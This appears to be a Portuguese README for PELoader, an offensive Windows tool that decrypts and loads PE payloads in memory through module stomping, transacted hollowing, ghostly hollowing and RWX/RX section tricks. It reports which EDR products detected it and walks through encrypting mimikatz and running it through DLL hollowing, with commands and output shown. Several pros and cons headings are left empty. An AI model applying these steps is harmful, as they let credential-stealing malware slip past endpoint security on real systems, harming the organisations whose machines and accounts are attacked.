
PE loader com várias técnicas de injeção de shellcode
PELoader implementa várias técnicas de injeção de shellcode e usa a biblioteca libpeconv para carregar arquivos PE criptografados em vez de injetar shellcode em uma thread remota.
As seguintes técnicas foram implementadas:
Créditos: a maior parte do meu trabalho foi baseada nos scripts de PoC de @hasherezade.
PELoader foi testado no Windows 10 com Cortex XDR / SentinalOne / Windows Defender / CrowdStrike, e o Windows Defender / CrowdStrike detectaram as técnicas de Transacted Hollowing. As características de cada técnica foram testadas com a ferramenta de escaneamento de memória Moneta de @forrest-orr.
Module Stomping (LoadLibrary)
Chamar LoadLibrary para carregar uma DLL legítima. Sobrescrever a DLL com o payload.
Prós

Module Stomping (NtMapViewOfSection)
Chamar NtCreateSection para criar um objeto de mapeamento de arquivo (PAGE_READONLY) para uma DLL legítima, e chamar NtMapViewOfSection para mapeá-lo para o processo atual. Sobrescrever a DLL com o payload.
Prós
Contras

referência ao PoC de @hasherezade.
Transacted Hollowing
Um híbrido entre Process Hollowing e Process Doppelgänging. Cria um arquivo "invisível" dentro da transação NTFS e escreve o payload no arquivo. Mapeia a seção para o processo atual e executa.
Prós
Contras

Ghostly Hollowing
Um híbrido entre Process Hollowing e Process Ghosting. Cria um arquivo com estado de exclusão pendente e escreve o payload no arquivo. Mapeia a seção para o processo atual e executa.
Prós
Cron
referência ao PoC de @hasherezade.
NtMapViewOfSection (RWX-RW-RX)
Chamar NtCreateSection para criar uma seção de memória (RWX). Chamar NtMapViewOfSection para mapear uma visão para o processo atual (RWX). Chamar VirtualProtect para alterar a proteção para RW. Copiar shellcode para a seção mapeada. Alterar a proteção para RX e executar.
Prós
Contras

NtAllocateVirtualMemory (RW-RX)
Chamar NtAllocateVirtualMemory para alocar memória (RW). Copiar shellcode para a memória. Alterar a proteção para RX e executar.
Prós
Contras

Criptografar Payload com AES
Converta o arquivo PE para shellcode com pe_to_shellcode e criptografe com PELoader
cmd> .\pe2shc.exe mimikatz.exe
Reading module from: mimikatz.exe
[WARNING] This is a console application! The recommended subsystem is GUI.
[+] Saved as: mimikatz.shc.exe
cmd> set hagrid=enc mimikatz.shc.exe
cmd> .\PELoader.exe
argument: enc mimikatz.shc.exe
Encrypting File
Execução do PE
Defina o argumento na variável de ambiente "hagrid" e execute o PELoader
cmd> set hagrid=cdll mimikatz.shc.exe.enc
cmd> .\PELoader.exe version
argument: cdll mimikatz.shc.exe.enc
Classic DLL Hollowing
[*] target dll: C:\WINDOWS\system32\aadtb.dll
[*] implant dll: mimikatz.shc.exe.enc
[*] Loading the DLL (using LoadLibary, classic DLL hollowing)...
[*] Overwriting the mapping
[*] Module Overloading finished...
[*] Executing Implant's Entry Point: 7ff8cf9d7578
[*] Executing Implant as EXE
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # version
mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19043 (arch x64)
msvc 150030729 207
mimikatz #